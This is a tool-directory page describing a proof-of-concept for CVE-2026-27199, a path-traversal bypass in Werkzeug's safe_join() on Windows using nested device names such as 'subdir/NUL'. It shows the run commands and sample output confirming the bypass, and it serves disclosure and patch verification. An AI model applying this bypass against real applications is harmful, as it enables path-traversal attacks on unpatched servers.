Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/alimezar/cve-2026-27199-werkzeug-safe-join-bypass-poc
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubalimezar/cve-2026-27199-werkzeug-safe-join-bypass-poc

CVE-2026-27199-werkzeug-safe-join-bypass-PoC

Proof-of-concept exploit for CVE-2026-27199, a Werkzeug safe_join() Windows device-name bypass, demonstrating path traversal and silent data discard.

View Repository
56 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27199 PoC: Werkzeug safe_join() Windows Device-Name Bypass

Status: Publicly disclosed. Fixed in werkzeug 3.1.6.
Severity: Moderate
Reporter: @alimezar
Advisory: GHSA-29vq-49wr-vm6x


Affected Versions

PackageAffectedPatched
werkzeug< 3.1.63.1.6

Proof of Concept

Requires: Windows, Python 3.8+, werkzeug < 3.1.6

root@kitploit:~
pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py

Expected output (vulnerable version)

root@kitploit:~
============================================================
CVE-2026-27199 — Werkzeug safe_join() PoC
============================================================
[*] Werkzeug version : 3.1.5
[*] os.name          : nt

[+] safe_join(base, 'NUL')        -> None  (correctly blocked)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL  (bypass!)

[*] Attempting to write to the returned path ...
[!] open(nested NUL) write: SUCCESS — data silently discarded by device

[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.
    Upgrade to werkzeug >= 3.1.6 to remediate.

Expected output (patched version)

root@kitploit:~
[+] safe_join(base, 'subdir/NUL') -> None  (correctly blocked)
[+] NOT VULNERABLE: nested device name was blocked.

References

  • GHSA-29vq-49wr-vm6x — this advisory
  • GHSA-hgf8-39gv-g3f2 — prior related advisory
  • GHSA-87hc-h4r5-73f7 — prior related advisory
  • Werkzeug changelog

This PoC is published for educational and defensive purposes following responsible disclosure and public patch availability.

Download Tool